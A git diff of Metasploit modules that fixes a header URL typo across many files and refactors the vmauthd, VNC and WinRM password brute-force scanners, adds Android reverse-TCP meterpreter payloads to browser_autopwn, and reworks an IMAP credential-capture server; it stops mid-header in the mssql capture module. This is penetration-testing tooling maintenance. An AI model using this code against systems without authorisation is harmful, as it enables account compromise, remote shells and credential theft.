100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/tcp' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/vmauthd' class Metasploit3 < Msf::Auxiliary @@ -33,103 +35,73 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) + print_brute :ip => ip, :msg => 'Starting bruteforce' + + # Peform a sanity check to ensure that our target is vmauthd before + # attempting to brute force it. begin - - connect rescue nil - if not self.sock - print_error "#{rhost}:#{rport} Could not connect to vmauthd" - return - end - - banner = sock.get_once(-1, 10) - if not banner - print_error "#{rhost}:#{rport} No banner received from vmauthd" - return - end - - banner = banner.strip - print_status "#{rhost}:#{rport} Banner: #{banner}" - - unless banner =~ /VMware Authentication Daemon/ - print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service" - return - end - - if banner =~ /SSL/ - print_status("#{rhost}:#{rport} Switching to SSL connection...") - swap_sock_plain_to_ssl - end - - each_user_pass do |user, pass| - result = do_login(user, pass) - case result - when :failed - print_error("#{rhost}:#{rport} vmauthd login FAILED - #{user}:#{pass}") - when :success - print_good("#{rhost}:#{rport} vmauthd login SUCCESS - #{user}:#{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'vmauthd', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - return if datastore['STOP_ON_SUCCESS'] - else - print_error("#{rhost}:#{rport} Error: #{result}") + connect rescue nil + if !self.sock + print_brute :level => :verror, :ip => ip, :msg => 'Could not connect' + return + end + banner = sock.get_once(-1, 10) + if !banner || !banner =~ /^220 VMware Authentication Daemon Version.*/ + print_brute :level => :verror, :ip => ip, :msg => 'Target does not appear to be a vmauthd service' + return end - end - rescue ::Interrupt - raise $! + rescue ::Interrupt + raise $ERROR_INFO ensure disconnect end - end + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + scanner = Metasploit::Framework::LoginScanner::VMAUTHD.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + ) - def do_login(user, pass, nsock=self.sock) - nsock.put("USER #{user}\r\n") - res = nsock.get_once - unless res.start_with? "331" - ret_msg = "Unexpected reply to the USER command: #{res}" - return ret_msg - end - nsock.put("PASS #{pass}\r\n") - res = nsock.get_once || '' - if res.start_with? "530" - return :failed - elsif res.start_with? "230" - return :success - else - ret_msg = "Unexpected reply to the PASS command: #{res}" - return ret_msg + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => 'Could not connect' + end + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}" + end + invalidate_login(credential_data) + end end end - - def swap_sock_plain_to_ssl(nsock=self.sock) - ctx = generate_ssl_context() - ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) - - ssl.connect - - nsock.extend(Rex::Socket::SslTcp) - nsock.sslsock = ssl - nsock.sslctx = ctx - end - - def generate_ssl_context - ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) - @@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ } - - ctx.key = @@cached_rsa_key - - ctx.session_id_context = Rex::Text.rand_text(16) - - return ctx - end - - end diff --git a/modules/auxiliary/scanner/vmware/vmauthd_version.rb b/modules/auxiliary/scanner/vmware/vmauthd_version.rb index 8215ff2ce1..4aafb6645c 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_version.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb index a18d642cd6..374c950b91 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb index 08da04199c..772328037f 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb index 7c9ba8dcae..8e1c3c54b5 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb index 3eec842da7..5bfb9c23c1 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_host_details.rb b/modules/auxiliary/scanner/vmware/vmware_host_details.rb index d9bfbcfebc..c60cd2efaf 100644 --- a/modules/auxiliary/scanner/vmware/vmware_host_details.rb +++ b/modules/auxiliary/scanner/vmware/vmware_host_details.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb index 6bcdfb08ee..bba93d3a87 100644 --- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb +++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -114,7 +114,12 @@ class Metasploit3 < Msf::Auxiliary if os_match and ver_match and build_match if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/ - this_host = report_host( :host => rhost, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" ) + # Report a fingerprint match for OS identification + report_note( + :host => ip, + :ntype => 'fingerprint.match', + :data => {'os.vendor' => 'VMware', 'os.product' => os_match[1] + " " + ver_match[1], 'os.version' => build_match[1] } + ) end return true else diff --git a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb index 97cbd4664c..de4f89435f 100644 --- a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb +++ b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index 1340702f4f..a9c780c19d 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -1,10 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/rfb' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/vnc' class Metasploit3 < Msf::Auxiliary @@ -24,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'carstein <carstein.sec [at] gmail [dot] com>', + 'carstein <carstein.sec[at]gmail.com>', 'jduck' ], 'References' => @@ -36,6 +38,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + Opt::Proxies, Opt::RPORT(5900), OptString.new('PASSWORD', [ false, 'The password to test' ]), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", @@ -56,82 +59,47 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{ip}:#{rport} - Starting VNC login sweep") - begin - each_user_pass { |user, pass| - ret = nil - attempts = 5 - attempts.times { |n| - ret = do_login(user, pass) - break if ret != :retry + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) - delay = (2**(n+1)) + 1 - vprint_status("Retrying in #{delay} seconds...") - select(nil, nil, nil, delay) - } - # If we tried all these attempts, and we still got a retry condition, - # we'll just give up.. Must be that nasty blacklist algorithm kicking - # our butt. - return :abort if ret == :retry - ret - } - rescue ::Rex::ConnectionError - nil - end - end + cred_collection = prepend_db_passwords(cred_collection) - def do_login(user, pass) - vprint_status("#{target_host}:#{rport} - Attempting VNC login with password '#{pass}'") + scanner = Metasploit::Framework::LoginScanner::VNC.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: datastore['ConnectTimeout'], + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + ) - connect - - begin - vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) - if not vnc.handshake - vprint_error("#{target_host}:#{rport}, #{vnc.error}") - return :abort - end - - ver = "#{vnc.majver}.#{vnc.minver}" - vprint_status("#{target_host}:#{rport}, VNC server protocol version : #{ver}") - report_service( - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'vnc', - :info => "VNC protocol version #{ver}" + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) - if not vnc.authenticate(pass) - vprint_error("#{target_host}:#{rport}, #{vnc.error}") - return :retry if vnc.error =~ /connection has been rejected/ # UltraVNC - return :retry if vnc.error =~ /Too many security failures/ # vnc4server - return :fail + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - - print_good("#{target_host}:#{rport}, VNC server password : \"#{pass}\"") - - access_type = "password" - #access_type = "view-only password" if vnc.view_only_mode - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'vnc', - :pass => pass, - :type => access_type, - :duplicate_ok => true, - :source_type => "user_supplied", - :active => true - }) - return :next_user - - # For debugging only. - #rescue ::Exception - # raise $! - # print_error("#{$!}") - - ensure - disconnect() end + end end diff --git a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb index 8740f3db8e..33b260cd4d 100644 --- a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb +++ b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/voice/recorder.rb b/modules/auxiliary/scanner/voice/recorder.rb index 5a79f9100e..0f4fe85d52 100644 --- a/modules/auxiliary/scanner/voice/recorder.rb +++ b/modules/auxiliary/scanner/voice/recorder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb b/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb index 9d3d68d88d..88914a5525 100644 --- a/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb +++ b/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb b/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb index 7b7d17a14d..655bfbf00b 100644 --- a/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb +++ b/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb b/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb index 8b7e1f69c7..05b76dd142 100644 --- a/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb +++ b/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/winrm/winrm_cmd.rb b/modules/auxiliary/scanner/winrm/winrm_cmd.rb index 1cac67a0bb..a4ce2652f7 100644 --- a/modules/auxiliary/scanner/winrm/winrm_cmd.rb +++ b/modules/auxiliary/scanner/winrm/winrm_cmd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index 5c8dfe1f83..f3fe0d349e 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -1,11 +1,14 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/ntlm/message' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner' +require 'metasploit/framework/login_scanner/winrm' class Metasploit3 < Msf::Auxiliary @@ -37,34 +40,51 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - each_user_pass do |user, pass| - resp = send_winrm_request(test_request) - if resp.nil? - print_error "#{ip}:#{rport}: Got no reply from the server, connection may have timed out" - return - elsif resp.code == 200 - cred_hash = { - :host => ip, - :port => rport, - :sname => 'winrm', - :pass => pass, - :user => user, - :source_type => "user_supplied", - :active => true - } - report_auth_info(cred_hash) - print_good "#{ip}:#{rport}: Valid credential found: #{user}:#{pass}" - elsif resp.code == 401 - print_error "#{ip}:#{rport}: Login failed: #{user}:#{pass}" + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DOMAIN'], + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::WinRM.new( + host: ip, + port: rport, + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 10, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else - print_error "Recieved unexpected Response Code: #{resp.code}" + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end + end def test_request - data = winrm_wql_msg("Select Name,Status from Win32_Service") + return winrm_wql_msg("Select Name,Status from Win32_Service") end end diff --git a/modules/auxiliary/scanner/winrm/winrm_wql.rb b/modules/auxiliary/scanner/winrm/winrm_wql.rb index 07483bdc62..7beaf89022 100644 --- a/modules/auxiliary/scanner/winrm/winrm_wql.rb +++ b/modules/auxiliary/scanner/winrm/winrm_wql.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb index 42440a052b..d1c1a98ffc 100644 --- a/modules/auxiliary/scanner/x11/open_x11.rb +++ b/modules/auxiliary/scanner/x11/open_x11.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 8bbdeda05b..7a4d3c4144 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -114,6 +114,13 @@ class Metasploit3 < Msf::Auxiliary 'The payload to use for Java reverse-connect payloads', 'java/meterpreter/reverse_tcp' ]), + OptPort.new('LPORT_ANDROID', [false, + 'The port to use for Java reverse-connect payloads', 8888 + ]), + OptString.new('PAYLOAD_ANDROID', [false, + 'The payload to use for Android reverse-connect payloads', + 'android/meterpreter/reverse_tcp' + ]) ], self.class) @exploits = Hash.new @@ -265,6 +272,8 @@ class Metasploit3 < Msf::Auxiliary @gen_payload = datastore['PAYLOAD_GENERIC'] @java_lport = datastore['LPORT_JAVA'] @java_payload = datastore['PAYLOAD_JAVA'] + @android_lport = datastore['LPORT_ANDROID'] + @android_payload = datastore['PAYLOAD_ANDROID'] minrank = framework.datastore['MinimumRank'] || 'manual' if not RankingName.values.include?(minrank) @@ -320,6 +329,9 @@ class Metasploit3 < Msf::Auxiliary when %r{/java_} payload = @java_payload lport = @java_lport + when %r{^android/} + payload = @android_payload + lport = @android_lport else payload = @gen_payload lport = @gen_lport @@ -774,8 +786,12 @@ class Metasploit3 < Msf::Auxiliary # Reject exploits whose OS doesn't match that of the # victim. Note that host_info comes from javascript OS # detection, NOT the database. + + # Note that the os_name could be a string, a regex, or + # an array of strings and regexes. + if host_info[:os_name] != "undefined" - unless s[:os_name].include?(host_info[:os_name]) + unless client_matches_module_spec?(host_info[:os_name], s[:os_name]) vprint_status("Rejecting #{s[:name]} for non-matching OS") next end @@ -821,6 +837,27 @@ class Metasploit3 < Msf::Auxiliary return response end + + # + # Determines whether a browser string matches an exploit module specification + # Example: :os_name => ( 'Windows' | /Windows/ | ['Windows', 'Mac OS X'] ) + # + def client_matches_module_spec?(client_str, module_spec) + + case module_spec + when ::String + return !! (client_str == module_spec) + when ::Regexp + return !! client_str.match(module_spec) + when ::Array + return !! exploit_spec.map{ |spec| + client_matches_module_spec?(client_str, spec) + }.include?(true) + end + + false + end + # # Yields each module that exports autopwn_info, filtering on MATCH and EXCLUDE options # @@ -874,6 +911,8 @@ class Metasploit3 < Msf::Auxiliary os_flavor = nil os_sp = nil os_lang = nil + os_device = nil + os_vendor = nil arch = nil ua_name = nil ua_ver = nil @@ -895,15 +934,20 @@ class Metasploit3 < Msf::Auxiliary if (0 < detected_version.length) detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version)) print_status("JavaScript Report: #{detected_version}") - (os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':') + + + (os_name, os_vendor, os_flavor, os_device, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':') if framework.db.active note_data = { } - note_data[:os_name] = os_name if os_name != "undefined" - note_data[:os_flavor] = os_flavor if os_flavor != "undefined" - note_data[:os_sp] = os_sp if os_sp != "undefined" - note_data[:os_lang] = os_lang if os_lang != "undefined" - note_data[:arch] = arch if arch != "undefined" + note_data['os.product'] = os_name if os_name != 'undefined' + note_data['os.vendor'] = os_vendor if os_vendor != 'undefined' + note_data['os.edition'] = os_flavor if os_flavor != 'undefined' + note_data['os.device'] = os_device if os_device != 'undefined' + note_data['os.version'] = os_sp if os_sp != 'undefined' + note_data['os.language'] = os_lang if os_lang != 'undefined' + note_data['os.arch'] = arch if arch != 'undefined' + note_data['os.certainty'] = '0.7' print_status("Reporting: #{note_data.inspect}") # Reporting stuff isn't really essential since we store all @@ -914,10 +958,14 @@ class Metasploit3 < Msf::Auxiliary # ActiveRecord::RecordInvalid errors because 127.0.0.1 is # blacklisted in the Host validations. begin + + # Report a generic fingerprint.match note for the OS normalizer + # Previously we reported a javascript_fingerprint type but this + # was never used. report_note({ - :host => cli.peerhost, - :type => 'javascript_fingerprint', - :data => note_data, + :host => cli.peerhost, + :ntype => 'fingerprint.match', + :data => note_data, :update => :unique_data, }) client_info = { @@ -927,8 +975,10 @@ class Metasploit3 < Msf::Auxiliary :ua_ver => ua_ver } report_client(client_info) - rescue => e - elog("Reporting failed: #{e.class} : #{e.message}") + rescue ::Interrupt + raise $! + rescue ::Exception => e + elog("Reporting failed: #{e.class} : #{e.message} #{e.backtrace}") end end end @@ -959,7 +1009,9 @@ class Metasploit3 < Msf::Auxiliary @targetcache[key][:host] = {} @targetcache[key][:host][:os_name] = os_name + @targetcache[key][:host][:os_vendor] = os_vendor @targetcache[key][:host][:os_flavor] = os_flavor + @targetcache[key][:host][:os_device] = os_device @targetcache[key][:host][:os_sp] = os_sp @targetcache[key][:host][:os_lang] = os_lang diff --git a/modules/auxiliary/server/capture/drda.rb b/modules/auxiliary/server/capture/drda.rb index b3822f30b8..13443f123c 100644 --- a/modules/auxiliary/server/capture/drda.rb +++ b/modules/auxiliary/server/capture/drda.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb index 2bb07336ae..27c36ef9f6 100644 --- a/modules/auxiliary/server/capture/ftp.rb +++ b/modules/auxiliary/server/capture/ftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/http.rb b/modules/auxiliary/server/capture/http.rb index 572c6a6353..784ce1814d 100644 --- a/modules/auxiliary/server/capture/http.rb +++ b/modules/auxiliary/server/capture/http.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index 0796e9caec..42b16bc692 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/http_javascript_keylogger.rb b/modules/auxiliary/server/capture/http_javascript_keylogger.rb index cccca6818a..1423e12f51 100644 --- a/modules/auxiliary/server/capture/http_javascript_keylogger.rb +++ b/modules/auxiliary/server/capture/http_javascript_keylogger.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/http_ntlm.rb b/modules/auxiliary/server/capture/http_ntlm.rb index d6fbad9613..f5187da219 100644 --- a/modules/auxiliary/server/capture/http_ntlm.rb +++ b/modules/auxiliary/server/capture/http_ntlm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/imap.rb b/modules/auxiliary/server/capture/imap.rb index 0600f1a51b..843ef0580b 100644 --- a/modules/auxiliary/server/capture/imap.rb +++ b/modules/auxiliary/server/capture/imap.rb @@ -1,18 +1,16 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report - def initialize super( 'Name' => 'Authentication Capture: IMAP', @@ -56,11 +54,11 @@ class Metasploit3 < Msf::Auxiliary def on_client_data(c) data = c.get_once - return if not data - num,cmd,arg = data.strip.split(/\s+/, 3) + return unless data + num, cmd, arg = data.strip.split(/\s+/, 3) arg ||= "" - if(cmd.upcase == "CAPABILITY") + if cmd.upcase == 'CAPABILITY' c.put "* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS " + "MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN UNSELECT " + "QUOTA XLIST XYZZY LOGIN-REFERRALS AUTH=XYMCOOKIE AUTH=XYMCOOKIEB64 " + @@ -68,38 +66,26 @@ class Metasploit3 < Msf::Auxiliary c.put "#{num} OK CAPABILITY completed.\r\n" end - if(cmd.upcase == "AUTHENTICATE" and arg.upcase == "XYMPKI") + # Handle attempt to authenticate using Yahoo's magic cookie + # Used by iPhones and Zimbra + if cmd.upcase == 'AUTHENTICATE' && arg.upcase == 'XYMPKI' c.put "+ \r\n" cookie1 = c.get_once c.put "+ \r\n" cookie2 = c.get_once - report_auth_info( - :host => @state[c][:ip], - :sname => 'imap-yahoo', - :port => datastore['SRVPORT'], - :source_type => "captured", - :user => cookie1, - :pass => cookie2 - ) + register_creds(@state[c][:ip], cookie1, cookie2, 'imap-yahoo') return end - if(cmd.upcase == "LOGIN") + if cmd.upcase == 'LOGIN' @state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2) - report_auth_info( - :host => @state[c][:ip], - :port => datastore['SRVPORT'], - :sname => 'imap', - :user => @state[c][:user], - :pass => @state[c][:pass], - :active => true - ) + register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap') print_status("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") return end - if(cmd.upcase == "LOGOUT") + if cmd.upcase == 'LOGOUT' c.put("* BYE IMAP4rev1 Server logging out\r\n") c.put("#{num} OK LOGOUT completed\r\n") return @@ -108,12 +94,43 @@ class Metasploit3 < Msf::Auxiliary @state[c][:pass] = data.strip c.put "#{num} NO LOGIN FAILURE\r\n" return - end def on_client_close(c) @state.delete(c) end + def register_creds(client_ip, user, pass, service_name) + # Build service information + service_data = { + address: client_ip, + port: datastore['SRVPORT'], + service_name: service_name, + protocol: 'tcp', + workspace_id: myworkspace_id + } + # Build credential information + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: pass, + private_type: :password, + username: user, + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end end diff --git a/modules/auxiliary/server/capture/mssql.rb b/modules/auxiliary/server/capture/mssql.rb index bdcd8542fd..be39fffabe 100644 --- a/modules/auxiliary/server/capture/mssql.rb +++ b/modules/auxiliary/server/capture/mssql.rb @@ -1,5 +1,5 @@ ## -# This module 